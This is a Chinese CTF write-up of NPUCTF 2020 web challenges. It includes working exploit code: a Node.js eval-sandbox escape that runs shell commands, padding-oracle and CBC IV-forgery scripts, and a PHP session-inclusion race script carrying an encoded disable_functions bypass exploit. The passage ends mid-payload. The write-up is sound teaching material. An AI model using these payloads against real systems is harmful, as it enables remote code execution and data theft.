2020 NPUCTF wp

首发sec-in:

https://www.sec-in.com/article/280

这两天没事打了一下西工大的校赛,以下是部分WEB题目的write up

查源码

右键不能用,直接在URL前面加上view-source:即可

验证马

考察点:node.js数组特性、利用链构造、bypass

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

拿到题后,发现这是根据前一阵子的ångstromCTF改的一道题,可参考文章:

https://www.sigflag.at/blog/2020/writeup-angstromctf2020-caasio/

首先是一层判断:

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {

即传的值first的长度等于second的长度,但值不能相同,而且first+key的md5要等于second+key的md5,这里便考察了js的数组特性,当数组和字符串相加时,如果有多个值,会将数组先转换为以,拼接的字符串;如果只有一个元素,那么会直接转换为字符:

或者传递两个相同的数组,因为他们进行比较时,这两个数组的地址不一样,也会被认为不一样:

之后将我们传入的参数e进行检测,:

1
2
3
4
5
6
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}

意思是如果匹配到数字(例如11.1)、数学运算符()+\-*/&|^%<>=,Math.xxx格式之外的字符串,便会进行eval执行,否则会返回null

我们可以使用Math.fromCharCode函数来将数字转为想要的字符串;然后通过global变量拿到exec函数,这一点有点类似python沙箱逃逸;之后便可执行任意命令;

构造payload:

1
2
3
>>> encode = lambda code: list(map(ord,code))
>>> decode = lambda code: "".join(map(chr,code))
>>> encode("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")

将这个json数据发包即可拿到flag:

1
{"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103, 108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41))()))(Math+1)", "first":[0],"second":[0]}

具体来看这个payload是啥意思:

1.箭头函数,实际就是匿名函数:

1
2
3
4
5
6
x => x*x

//等同于
function (x){
return x*x;
}

2.IIFE,立即调用函数表达式:

那么这里便是传入Math,然后进行Math+1操作后传入函数中

3.利用了js原型链,一开始Math没有定义,它是一个object,进行加1操作后,就变成了string类型,fromCharCode函数必须是在string函数类型上调用

web狗

考察点:Padding Oracle Attack、CBC加解密

第一层题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php  
error_reporting(0);
include('config.php'); # $key,********$file1*********
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV","6666666666666666"); //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');


#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
{
echo "--------encrypt---------".BR;
echo 'IV:'.$iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False'); #不返回密文,解密成功返回1,解密失败返回False
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $file1;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;

if($_GET['source']==1)highlight_file(__FILE__);
?>

加密时,IV已知,SECRET_KEY未知;解密时,IV和密文可控,解密成功返回1,失败返回FALSE

Padding Oracle攻击;直接看飘零大哥的文章:

https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/#Padding-Oracle-Attack%E6%94%BB%E5%87%BB%E8%BF%87%E7%A8%8B

即我们可以通过构造IV值,利用服务器的返回值判断我们提交的内容能不能正常解密,从而知道解密出的明文的填充位符不符合填充标准;如果符合了,那么可由此得出经过秘钥解密后的值,从而推出正确的明文

CBC解密是,对于每一块消息,先解密消息的最后一个字节,然后解密倒数第二个字节,依次类推

假设8位一组,构造IV每一位都是\x00,Middle为经过秘钥解密后的值,那么对于倒数第一位,下面两个等式成立的情况下都是可以正常解密的:

Middle[8] ^ 初始IV[8] = plain[8]

Middle[8] ^ 构造IV[8] = 0x01

从而可推出:

plain[8] = 0x01 ^ 构造IV[8] ^ 初始IV[8]

对于第七位也就是倒数第二位,需要更新构造IV的最后一个字节的值:

IV[8] = Middle[8] ^ 0x02

爆破出所有Middle值后,和初始IV异或便可得到明文:

plain[8] = Middle[8] ^ 初始IV[8]

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

secret = 'ly7auKVQCZWum/W/4osuPA=='
Middle = []
padding = ''

for x in range(1,17): # iv位
for y in range(0,256): # iv值
if y == 255: # 排错
exit()
IV = chr(0) * (16-x) + chr(y) + padding
url = 'http://webdog.popscat.top/index.php?source=0&method=decrypt'
data = {
'iv': IV,
'data': secret
}
res = requests.post(url, data=data)
res.encoding = res.apparent_encoding

if '1' in res.text: # iv值正确
padding = '' # 清空padding
Middle.append(y^x) # 添加Middle, Middle[x] == 构造IV[x] ^ 0xN == y ^ x
print(Middle)
for z in Middle:
padding = chr((x+1)^z) + padding # 重新计算padding生成新IV
break

a = ''
for i in Middle:
a += chr(i^ord('6')) # 注意是字符6,开始被这点坑着了...
print(a[::-1])

得到路径FlagIsHere.php,访问后进入下一关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
#error_reporting(0);
include('config.php'); //**************$file2********last step!!
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");
session_start();

function get_iv(){ //鐢熸垚闅忔満鍒濆鍚戦噺IV
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

$lalala = 'piapiapiapia';

if(!isset($_SESSION['Identity'])){
$_SESSION['iv'] = get_iv();

$_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv']));
}
echo base64_encode($_SESSION['iv'])."<br>";

if(isset($_POST['iv'])){
$tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
echo $tmp_id."<br>";
if($tmp_id ==='weber')die($file2);
}

highlight_file(__FILE__);
?>

即已知SECRET_KEY,明文和密文;可控参数为IV,需要使解密后的值等于weber

一开始是这么想的,设解密后的中间值为Middle,那么:

由:

IV[1] ^ Middle[1] = plain[1]
//即 Middle[1] = IV[1] ^ plain[1]

且我们想要:

构造IV[1] ^ Middle[1] = 目标plain[1]

那么:

构造IV[1] = IV[1] ^ plain[1] ^ 目标plain[1]

但但但但但是,初始明文长度为12,目标明文长度为5,如果翻转的话,字节翻转后的长度还是12,长度对应不上了…

后来一想,由密文和IV异或会得到解密后的Middle值,我们拿这个Middle值去和目标明文异或,便可得到需要构造的IV;exp1.py:

1
2
3
4
5
6
7
8
9
10
11
12
import base64

lalala = "piapiapiapia\x04\x04\x04\x04"; # 手动填充
IV = base64.b64decode('IudqzE2tdLMamTxuqFGENA==')
plain = 'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b' # 手动填充
new_iv = bytearray(16)

for i in range(16):
new_iv[i] = ord(lalala[i]) ^ IV[i] ^ ord(plain[i])

print(new_iv)
print(base64.b64encode(new_iv))

第三关给了个HelloWorld.class文件,用java HelloWorld运行:

众所周知,你是一名WEB选手,掌握javaweb也是一项必备技能,那么逆向个java应该不过分吧?

拖进IDA打开,发现一堆ASCII码,转为字符后得到FLAG

超简单的PHP!!!超简单!!!

考察点:文件包含RCE、绕过disable_functions

首先,有个很明显的文件包含

尝试用php://filter读取/flag,未果,那么读取源码:

?action=php://filter/read=convert.base64-encode/resource=index.bak.php

得到:

1
2
3
4
5
6
7
8
<?php 
session_start();
if(isset($_GET['action'])){
include $_GET['action'];
exit();
} else {
header("location:./index.bak.php?action=message.php");
}

可以看到这里未对include的文件名进行过滤,可以想到使用session包含或者上传临时文件进行包含;题目给了phpinfo:

看到session存储路径这一配置是没有值的,即采用了默认值,那么默认值一般是这些路径:

/tmp/
/var/lib/php/sessions/
...

使用脚本尝试发现正确路径为/tmp,然后开始使用var_dump(scandir('/'));(这里disable functions配置写错了,因此可以使用scandir)查看根目录路径,发现了flag文件但是无法读取,那么说明对权限做了限制,那么就要执行系统函数

对于disable_functions,网上有个利用php内核方面的exp,可以拿来直接bypass,项目地址:

https://github.com/mm0r1/exploits

这里直接将上面这个exp写到了/tmp目录下,写入后使用include来包含执行,这里为了方便将exp进行base64编码了两次;

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import threading

url='http://ha1cyon-ctf.fun:30124/index.bak.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
'''
data={
"PHP_SESSION_UPLOAD_PROGRESS": \'''<?php echo 'asdf';var_dump(scandir('/tmp/'));file_put_contents('/tmp/b.php', base64_decode(base64_decode('UEQ5d2FIQUtDaU1nVUVoUUlEY3VNQzAzTGpRZ1pHbHpZV0pzWlY5bWRXNWpkR2x2Ym5NZ1lubHdZWE56SUZCdlF5QW9LbTVwZUNCdmJteDVLUW9qQ2lNZ1FuVm5PaUJvZEhSd2N6b3ZMMkoxWjNNdWNHaHdMbTVsZEM5aWRXY3VjR2h3UDJsa1BUYzJNRFEzQ2lNZ1pHVmlkV2RmWW1GamEzUnlZV05sS0NrZ2NtVjBkWEp1Y3lCaElISmxabVZ5Wlc1alpTQjBieUJoSUhaaGNtbGhZbXhsSUFvaklIUm9ZWFFnYUdGeklHSmxaVzRnWkdWemRISnZlV1ZrTENCallYVnphVzVuSUdFZ1ZVRkdJSFoxYkc1bGNtRmlhV3hwZEhrdUNpTUtJeUJVYUdseklHVjRjR3h2YVhRZ2MyaHZkV3hrSUhkdmNtc2diMjRnWVd4c0lGQklVQ0EzTGpBdE55NDBJSFpsY25OcGIyNXpDaU1nY21Wc1pXRnpaV1FnWVhNZ2IyWWdNekF2TURFdk1qQXlNQzRLSXdvaklFRjFkR2h2Y2pvZ2FIUjBjSE02THk5bmFYUm9kV0l1WTI5dEwyMXRNSEl4Q2dwd2QyNG9JbU5oZENBdlJpb2lLVHNLQ21aMWJtTjBhVzl1SUhCM2JpZ2tZMjFrS1NCN0NpQWdJQ0JuYkc5aVlXd2dKR0ZpWXl3Z0pHaGxiSEJsY2l3Z0pHSmhZMnQwY21GalpUc0tDaUFnSUNCamJHRnpjeUJXZFd4dUlIc0tJQ0FnSUNBZ0lDQndkV0pzYVdNZ0pHRTdDaUFnSUNBZ0lDQWdjSFZpYkdsaklHWjFibU4wYVc5dUlGOWZaR1Z6ZEhKMVkzUW9LU0I3SUFvZ0lDQWdJQ0FnSUNBZ0lDQm5iRzlpWVd3Z0pHSmhZMnQwY21GalpUc2dDaUFnSUNBZ0lDQWdJQ0FnSUhWdWMyVjBLQ1IwYUdsekxUNWhLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHSmhZMnQwY21GalpTQTlJQ2h1WlhjZ1JYaGpaWEIwYVc5dUtTMCtaMlYwVkhKaFkyVW9LVHNnSXlBN0tRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnaGFYTnpaWFFvSkdKaFkydDBjbUZqWlZzeFhWc25ZWEpuY3lkZEtTa2dleUFqSUZCSVVDQStQU0EzTGpRS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNSaVlXTnJkSEpoWTJVZ1BTQmtaV0oxWjE5aVlXTnJkSEpoWTJVb0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUgwS0lDQWdJSDBLQ2lBZ0lDQmpiR0Z6Y3lCSVpXeHdaWElnZXdvZ0lDQWdJQ0FnSUhCMVlteHBZeUFrWVN3Z0pHSXNJQ1JqTENBa1pEc0tJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJ6ZEhJeWNIUnlLQ1lrYzNSeUxDQWtjQ0E5SURBc0lDUnpJRDBnT0NrZ2V3b2dJQ0FnSUNBZ0lDUmhaR1J5WlhOeklEMGdNRHNLSUNBZ0lDQWdJQ0JtYjNJb0pHb2dQU0FrY3kweE95QWthaUErUFNBd095QWthaTB0S1NCN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JoWkdSeVpYTnpJRHc4UFNBNE93b2dJQ0FnSUNBZ0lDQWdJQ0FrWVdSa2NtVnpjeUI4UFNCdmNtUW9KSE4wY2xza2NDc2thbDBwT3dvZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNCeVpYUjFjbTRnSkdGa1pISmxjM003Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z2NIUnlNbk4wY2lna2NIUnlMQ0FrYlNBOUlEZ3BJSHNLSUNBZ0lDQWdJQ0FrYjNWMElEMGdJaUk3Q2lBZ0lDQWdJQ0FnWm05eUlDZ2thVDB3T3lBa2FTQThJQ1J0T3lBa2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDUnZkWFFnTGowZ1kyaHlLQ1J3ZEhJZ0ppQXdlR1ptS1RzS0lDQWdJQ0FnSUNBZ0lDQWdKSEIwY2lBK1BqMGdPRHNLSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ1J2ZFhRN0NpQWdJQ0I5Q2dvZ0lDQWdablZ1WTNScGIyNGdkM0pwZEdVb0ppUnpkSElzSUNSd0xDQWtkaXdnSkc0Z1BTQTRLU0I3Q2lBZ0lDQWdJQ0FnSkdrZ1BTQXdPd29nSUNBZ0lDQWdJR1p2Y2lna2FTQTlJREE3SUNScElEd2dKRzQ3SUNScEt5c3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0pITjBjbHNrY0NBcklDUnBYU0E5SUdOb2NpZ2tkaUFtSURCNFptWXBPd29nSUNBZ0lDQWdJQ0FnSUNBa2RpQStQajBnT0RzS0lDQWdJQ0FnSUNCOUNpQWdJQ0I5Q2dvZ0lDQWdablZ1WTNScGIyNGdiR1ZoYXlna1lXUmtjaXdnSkhBZ1BTQXdMQ0FrY3lBOUlEZ3BJSHNLSUNBZ0lDQWdJQ0JuYkc5aVlXd2dKR0ZpWXl3Z0pHaGxiSEJsY2pzS0lDQWdJQ0FnSUNCM2NtbDBaU2drWVdKakxDQXdlRFk0TENBa1lXUmtjaUFySUNSd0lDMGdNSGd4TUNrN0NpQWdJQ0FnSUNBZ0pHeGxZV3NnUFNCemRISnNaVzRvSkdobGJIQmxjaTArWVNrN0NpQWdJQ0FnSUNBZ2FXWW9KSE1nSVQwZ09Da2dleUFrYkdWaGF5QWxQU0F5SUR3OElDZ2tjeUFxSURncElDMGdNVHNnZlFvZ0lDQWdJQ0FnSUhKbGRIVnliaUFrYkdWaGF6c0tJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJ3WVhKelpWOWxiR1lvSkdKaGMyVXBJSHNLSUNBZ0lDQWdJQ0FrWlY5MGVYQmxJRDBnYkdWaGF5Z2tZbUZ6WlN3Z01IZ3hNQ3dnTWlrN0Nnb2dJQ0FnSUNBZ0lDUmxYM0JvYjJabUlEMGdiR1ZoYXlna1ltRnpaU3dnTUhneU1DazdDaUFnSUNBZ0lDQWdKR1ZmY0dobGJuUnphWHBsSUQwZ2JHVmhheWdrWW1GelpTd2dNSGd6Tml3Z01pazdDaUFnSUNBZ0lDQWdKR1ZmY0dodWRXMGdQU0JzWldGcktDUmlZWE5sTENBd2VETTRMQ0F5S1RzS0NpQWdJQ0FnSUNBZ1ptOXlLQ1JwSUQwZ01Ec2dKR2tnUENBa1pWOXdhRzUxYlRzZ0pHa3JLeWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWthR1ZoWkdWeUlEMGdKR0poYzJVZ0t5QWtaVjl3YUc5bVppQXJJQ1JwSUNvZ0pHVmZjR2hsYm5SemFYcGxPd29nSUNBZ0lDQWdJQ0FnSUNBa2NGOTBlWEJsSUNBOUlHeGxZV3NvSkdobFlXUmxjaXdnTUN3Z05DazdDaUFnSUNBZ0lDQWdJQ0FnSUNSd1gyWnNZV2R6SUQwZ2JHVmhheWdrYUdWaFpHVnlMQ0EwTENBMEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkhCZmRtRmtaSElnUFNCc1pXRnJLQ1JvWldGa1pYSXNJREI0TVRBcE93b2dJQ0FnSUNBZ0lDQWdJQ0FrY0Y5dFpXMXplaUE5SUd4bFlXc29KR2hsWVdSbGNpd2dNSGd5T0NrN0Nnb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlna2NGOTBlWEJsSUQwOUlERWdKaVlnSkhCZlpteGhaM01nUFQwZ05pa2dleUFqSUZCVVgweFBRVVFzSUZCR1gxSmxZV1JmVjNKcGRHVUtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDTWdhR0Z1Wkd4bElIQnBaUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1JoZEdGZllXUmtjaUE5SUNSbFgzUjVjR1VnUFQwZ01pQS9JQ1J3WDNaaFpHUnlJRG9nSkdKaGMyVWdLeUFrY0Y5MllXUmtjanNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1JrWVhSaFgzTnBlbVVnUFNBa2NGOXRaVzF6ZWpzS0lDQWdJQ0FnSUNBZ0lDQWdmU0JsYkhObElHbG1LQ1J3WDNSNWNHVWdQVDBnTVNBbUppQWtjRjltYkdGbmN5QTlQU0ExS1NCN0lDTWdVRlJmVEU5QlJDd2dVRVpmVW1WaFpGOWxlR1ZqQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrZEdWNGRGOXphWHBsSUQwZ0pIQmZiV1Z0YzNvN0NpQWdJQ0FnSUNBZ0lDQWdJSDBLSUNBZ0lDQWdJQ0I5Q2dvZ0lDQWdJQ0FnSUdsbUtDRWtaR0YwWVY5aFpHUnlJSHg4SUNFa2RHVjRkRjl6YVhwbElIeDhJQ0VrWkdGMFlWOXphWHBsS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWFIxY200Z1ptRnNjMlU3Q2dvZ0lDQWdJQ0FnSUhKbGRIVnliaUJiSkdSaGRHRmZZV1JrY2l3Z0pIUmxlSFJmYzJsNlpTd2dKR1JoZEdGZmMybDZaVjA3Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z1oyVjBYMkpoYzJsalgyWjFibU56S0NSaVlYTmxMQ0FrWld4bUtTQjdDaUFnSUNBZ0lDQWdiR2x6ZENna1pHRjBZVjloWkdSeUxDQWtkR1Y0ZEY5emFYcGxMQ0FrWkdGMFlWOXphWHBsS1NBOUlDUmxiR1k3Q2lBZ0lDQWdJQ0FnWm05eUtDUnBJRDBnTURzZ0pHa2dQQ0FrWkdGMFlWOXphWHBsSUM4Z09Ec2dKR2tyS3lrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FrYkdWaGF5QTlJR3hsWVdzb0pHUmhkR0ZmWVdSa2Npd2dKR2tnS2lBNEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHeGxZV3NnTFNBa1ltRnpaU0ErSURBZ0ppWWdKR3hsWVdzZ0xTQWtZbUZ6WlNBOElDUmtZWFJoWDJGa1pISWdMU0FrWW1GelpTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1JsY21WbUlEMGdiR1ZoYXlna2JHVmhheWs3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FqSUNkamIyNXpkR0Z1ZENjZ1kyOXVjM1JoYm5RZ1kyaGxZMnNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtS0NSa1pYSmxaaUFoUFNBd2VEYzBObVUyTVRjME56TTJaVFptTmpNcENpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdZMjl1ZEdsdWRXVTdDaUFnSUNBZ0lDQWdJQ0FnSUgwZ1pXeHpaU0JqYjI1MGFXNTFaVHNLQ2lBZ0lDQWdJQ0FnSUNBZ0lDUnNaV0ZySUQwZ2JHVmhheWdrWkdGMFlWOWhaR1J5TENBb0pHa2dLeUEwS1NBcUlEZ3BPd29nSUNBZ0lDQWdJQ0FnSUNCcFppZ2tiR1ZoYXlBdElDUmlZWE5sSUQ0Z01DQW1KaUFrYkdWaGF5QXRJQ1JpWVhObElEd2dKR1JoZEdGZllXUmtjaUF0SUNSaVlYTmxLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrWkdWeVpXWWdQU0JzWldGcktDUnNaV0ZyS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNNZ0oySnBiakpvWlhnbklHTnZibk4wWVc1MElHTm9aV05yQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JwWmlna1pHVnlaV1lnSVQwZ01IZzNPRFkxTmpnek1qWmxOamsyTWlrS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmpiMjUwYVc1MVpUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlNCbGJITmxJR052Ym5ScGJuVmxPd29LSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNSa1lYUmhYMkZrWkhJZ0t5QWthU0FxSURnN0NpQWdJQ0FnSUNBZ2ZRb2dJQ0FnZlFvS0lDQWdJR1oxYm1OMGFXOXVJR2RsZEY5aWFXNWhjbmxmWW1GelpTZ2tZbWx1WVhKNVgyeGxZV3NwSUhzS0lDQWdJQ0FnSUNBa1ltRnpaU0E5SURBN0NpQWdJQ0FnSUNBZ0pITjBZWEowSUQwZ0pHSnBibUZ5ZVY5c1pXRnJJQ1lnTUhobVptWm1abVptWm1abVptWm1NREF3T3dvZ0lDQWdJQ0FnSUdadmNpZ2thU0E5SURBN0lDUnBJRHdnTUhneE1EQXdPeUFrYVNzcktTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNSaFpHUnlJRDBnSkhOMFlYSjBJQzBnTUhneE1EQXdJQ29nSkdrN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JzWldGcklEMGdiR1ZoYXlna1lXUmtjaXdnTUN3Z055azdDaUFnSUNBZ0lDQWdJQ0FnSUdsbUtDUnNaV0ZySUQwOUlEQjRNVEF4TURJME5qUmpORFUzWmlrZ2V5QWpJRVZNUmlCb1pXRmtaWElLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQWtZV1JrY2pzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtDaUFnSUNCbWRXNWpkR2x2YmlCblpYUmZjM2x6ZEdWdEtDUmlZWE5wWTE5bWRXNWpjeWtnZXdvZ0lDQWdJQ0FnSUNSaFpHUnlJRDBnSkdKaGMybGpYMloxYm1Oek93b2dJQ0FnSUNBZ0lHUnZJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHWmZaVzUwY25rZ1BTQnNaV0ZyS0NSaFpHUnlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHWmZibUZ0WlNBOUlHeGxZV3NvSkdaZlpXNTBjbmtzSURBc0lEWXBPd29LSUNBZ0lDQWdJQ0FnSUNBZ2FXWW9KR1pmYm1GdFpTQTlQU0F3ZURaa05qVTNORGN6TnprM015a2dleUFqSUhONWMzUmxiUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlHeGxZV3NvSkdGa1pISWdLeUE0S1RzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJQ0FnSUNBa1lXUmtjaUFyUFNBd2VESXdPd29nSUNBZ0lDQWdJSDBnZDJocGJHVW9KR1pmWlc1MGNua2dJVDBnTUNrN0NpQWdJQ0FnSUNBZ2NtVjBkWEp1SUdaaGJITmxPd29nSUNBZ2ZRb0tJQ0FnSUdaMWJtTjBhVzl1SUhSeWFXZG5aWEpmZFdGbUtDUmhjbWNwSUhzS0lDQWdJQ0FnSUNBaklITjBjbDl6YUhWbVpteGxJSEJ5WlhabGJuUnpJRzl3WTJGamFHVWdjM1J5YVc1bklHbHVkR1Z5Ym1sdVp3b2dJQ0FnSUNBZ0lDUmhjbWNnUFNCemRISmZjMmgxWm1ac1pTaHpkSEpmY21Wd1pXRjBLQ2RCSnl3Z056a3BLVHNLSUNBZ0lDQWdJQ0FrZG5Wc2JpQTlJRzVsZHlCV2RXeHVLQ2s3Q2lBZ0lDQWdJQ0FnSkhaMWJHNHRQbUVnUFNBa1lYSm5Pd29nSUNBZ2ZRb0tJQ0FnSUdsbUtITjBjbWx6ZEhJb1VFaFFYMDlUTENBblYwbE9KeWtwSUhzS0lDQWdJQ0FnSUNCa2FXVW9KMVJvYVhNZ1VHOURJR2x6SUdadmNpQXFibWw0SUhONWMzUmxiWE1nYjI1c2VTNG5LVHNLSUNBZ0lIMEtDaUFnSUNBa2JsOWhiR3h2WXlBOUlERXdPeUFqSUdsdVkzSmxZWE5sSUhSb2FYTWdkbUZzZFdVZ2FXWWdWVUZHSUdaaGFXeHpDaUFnSUNBa1kyOXVkR2xuZFc5MWN5QTlJRnRkT3dvZ0lDQWdabTl5S0NScElEMGdNRHNnSkdrZ1BDQWtibDloYkd4dll6c2dKR2tyS3lrS0lDQWdJQ0FnSUNBa1kyOXVkR2xuZFc5MWMxdGRJRDBnYzNSeVgzTm9kV1ptYkdVb2MzUnlYM0psY0dWaGRDZ25RU2NzSURjNUtTazdDZ29nSUNBZ2RISnBaMmRsY2w5MVlXWW9KM2duS1RzS0lDQWdJQ1JoWW1NZ1BTQWtZbUZqYTNSeVlXTmxXekZkV3lkaGNtZHpKMTFiTUYwN0Nnb2dJQ0FnSkdobGJIQmxjaUE5SUc1bGR5QklaV3h3WlhJN0NpQWdJQ0FrYUdWc2NHVnlMVDVpSUQwZ1puVnVZM1JwYjI0Z0tDUjRLU0I3SUgwN0Nnb2dJQ0FnYVdZb2MzUnliR1Z1S0NSaFltTXBJRDA5SURjNUlIeDhJSE4wY214bGJpZ2tZV0pqS1NBOVBTQXdLU0I3Q2lBZ0lDQWdJQ0FnWkdsbEtDSlZRVVlnWm1GcGJHVmtJaWs3Q2lBZ0lDQjlDZ29nSUNBZ0l5QnNaV0ZyY3dvZ0lDQWdKR05zYjNOMWNtVmZhR0Z1Wkd4bGNuTWdQU0J6ZEhJeWNIUnlLQ1JoWW1Nc0lEQXBPd29nSUNBZ0pIQm9jRjlvWldGd0lEMGdjM1J5TW5CMGNpZ2tZV0pqTENBd2VEVTRLVHNLSUNBZ0lDUmhZbU5mWVdSa2NpQTlJQ1J3YUhCZmFHVmhj